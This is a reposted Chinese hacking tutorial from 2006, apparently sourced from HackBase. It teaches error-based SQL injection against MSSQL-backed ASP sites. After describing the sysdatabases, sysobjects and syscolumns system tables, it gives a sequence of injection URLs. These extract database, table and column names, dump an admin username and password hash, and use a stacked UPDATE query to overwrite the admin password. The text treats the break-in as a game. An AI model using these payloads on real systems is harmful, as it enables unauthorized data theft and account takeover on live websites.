一、分析MSSQL三個關鍵系統表.
sysdatabases
MSSQL中對sysdatabases系統表 的說明:
Microsoft SQL Server 上的每個數據庫在表中占一行。最初安裝 SQL Server 時,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 數據庫的項。該表只存儲在 master 數據庫中。
這個表保存在master數據庫中,這個表中保存的是什么信息呢?這個非常重要。他是
保存了,所有的庫名,以及庫的ID,和一些相關信息。
這里我把對于我們有用的字段名稱和相關說明給大家列出來.看好咯!
name dbid
//表示庫的名字. //表示庫的ID.
dbid從1到5是系統的。分別是:master、model、msdb、mssqlweb、tempdb 這五個庫.
我們利用SQL語句:select * from master.dbo.sysdatabases 就可以查詢出所有的庫名.
sysobjects
MSSQL中對sysobjects系統表的說明:
在數據庫內創建的每個對象(約束、默認值、日志、規則、存儲過程等)在表中占一行。只有在 tempdb 內,每個臨時對象才在該表中占一行。
這個是列出數據庫對象的系統表。當然數據庫表名也在里面的.
這里我就為大家列出一些對我們有用的字段名稱和相關說明.
name id xtype uid
對象名. 對象ID 對象類型 所有者對象的用戶ID。
對象類型(xtype)。可以是下列對象類型中的一種:
C = CHECK 約束
D = 默認值或 DEFAULT 約束
F = FOREIGN KEY 約束
L = 日志
FN = 標量函數
IF = 內嵌表函數
P = 存儲過程
PK = PRIMARY KEY 約束(類型是 K)
RF = 復制篩選存儲過程
S = 系統表
TF = 表函數
TR = 觸發器
U = 用戶表
UQ = UNIQUE 約束(類型是 K)
V = 視圖
X = 擴展存儲過程
當然我們這里只用得到xtype='U'的值。當等于U的時候,對象名就是表名,對象ID就是表的ID值.
我們利用SQL語句: select * from ChouYFD.dbo.sysobjects where xtype='U' 這樣就可以列出庫名稱是:ChouYFD中所有的表名.
syscolumns
SQL中syscolumns系統表的說明:
每個表和視圖中的每列在表中占一行,存儲過程中的每個參數在表中也占一行。該表位于每個數據庫中。
這個就是列出一個表中所有的字段列表的系統表。
這里我就為大家列出一些對我們有用的字段名稱和相關說明:
name id colid
//字段名稱 //表ID號. 字段ID號.
其中的 ID 是 剛上我們用sysobjects得到的表的ID號.
我們利用SQL語句: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD這個庫中,表的ID是123456789中的所有字段列表.
YES SIR 明白!GO GO GO !!!
好了,簡單的介紹了一下這個用法.大家如果有不了解的,請查看SQL相關說明.
二、靈活利用系統表
同志們,玩過CS游戲的舉手,呵呵,都玩過啊。好!我們今天也要來爆一下"頭".
GO GO GO !!!
不過我們現在爆的是庫名,表名,字段名,我們用不著去猜庫名,表名,字段名.
說一下怎么爆出相關的庫名,表名,字段名.
當兩個類型值不一樣的時候,將他們做比較,SQL系統會提示出錯。并且會顯示出類型的值. 如:’aaa’>100 這樣比較,也就是字符串和數字的比較,這個怎么比較嘛,系統當然會提示出錯啦!大家都知道只有相同類型的時候才可以進行運算.所以這里我們就來一個反方向的不相同類型比較,爆出他的值.
下面就讓我們來測試吧!!!準備好沒有?GO!
任務一:得到所有庫名.
http://www.AAA.com/jump.asp?id=3400 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
因為 dbid 的值從1到5,是系統用了。所以用戶自己建的一定是從6開始的。并且我們提交了 name>1 NAME字段是一個字符型的字段和數字比較會出錯.那我們提交看一下IE返回了什么?
IE返回.
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
將 nvarchar 值 'Northwind' 轉換為數據類型為 int 的列時發生語法錯誤。
/jump.asp,行33
GOOD!!!這樣就把NAME字段的值爆露出來了: Northwind. 也就是我們得到了一個庫名.
改變DBID的值.我們可以得出所有的庫名.當DBID等于10,11的時候,爆出了兩個論壇的庫名.分別為:
bbs2002
bbs
呵呵,論壇的庫名出來啦!!!那我們就不客氣了。就找BBS這個庫吧!
任務二:得到bbs這個庫中所有的表名.
先來第一句:
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U')
查詢的SQL語句,返回的是NAME的值然后和數字0比較,這樣就會爆露出NAME的值.
好我們提交吧,只聽到砰的一聲!一個表名(name的值)出來了。名叫:Address.
// 這里多說兩句話,如果你提交的時候,他說你沒有權限,就說明,這兩個庫的SQL賬
//號的權限不一樣,那就放棄吧。你沒有資格進行下去. 老兄放棄吧!等他更新賬號權
//的時候,我第一時間通知你!一定要相信我臭要飯的!話.
好,再來接著爆其他的表.
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
又出來一個表名,名叫:admin
依次提交 ... and name not in('address','admin',..)) 可以查出所有的表名.
好,現在我們得到了ADMIN這個表,大家都清楚了這個表是做什么的吧!!我們的目的就是要得到這個表中賬號字段和密碼字段的值。
下面就是要得到這個表中的所有字段名了咧! 怎么得到字段名呢?系統表: syscolumns
中有用字段為: name、 id、colid 其中ID是保存著表的ID。也就是說我們要得到表的ID號然后,用SELECT * from bbs.dbo.syscolumns where id=bbs表的ID 這樣才能列出BBS這個表中所有的字段. 說了半天,哎,說不清楚了。看我表演吧!
http://www.AAA.com/jump.asp?id=3400 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
//把ID值轉成字符型后再和一個整型值比較。我KAO。經典吧,呵呵,這也想得出來。
又聽到砰的一聲!ID號出來了。值為:773577794
OK.GOOD!! 進入下關吧。
任務三:得到ADMIN這個表中的所有字段列表:
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794)
又是把NAME和數字比較.
IE 返回:adduser 呵呵,來來來。
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794 and name not in('adduser'))
又返回一個字段名:flag
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794 and name not in('adduser','flag'))
好當提交到:
http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns
where id=773577794 and name not in('adduser','flag','id','lastlogin','lastloginip','password','username'))
IE返回:BOF 或 EOF 中有一個是"真",或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
說明,我們已經猜完了。呵呵,看到了吧。
把BBS庫中的ADMIN表中的所有字段列出來了。
分別如下:
adduser,adduser,flag,id,lastlogin,lastloginip,password,username
看了一下,很像動網的論壇。
任務四:查詢字段值.
來。我們看看username和password的值吧。
http://www.AAA.com/jump.asp?id=3400 and 0<(select id from BBS.dbo.admin where username>1)
賬號出來了:youbiao
http://www.AAA.com/jump.asp?id=3400 and 0<(select id from BBS.dbo.admin where password>1 and username='youbiao')
密碼又出來了:d6b2f32a47b8bcb5 我的天MD5的!不怕,呵呵~!!!
來。改一下他的密碼:
http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin set password='AAABBBCCCDDDEEEF' where username='youbiao';--
呵呵,試試。成功了。我們再來給他改回來.
http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin set password='d6b2f32a47b8bcb5' where username='youbiao';--
又改回來咯!!!呵~!
通過提交UPDATE語句就可以直接把密碼給他更改了。
轉自:作者:YTT 來源:http://www.HackBase.com
posted on 2006-03-15 10:37
fadesea 閱讀(542)
評論(0) 編輯 收藏 所屬分類:
數據庫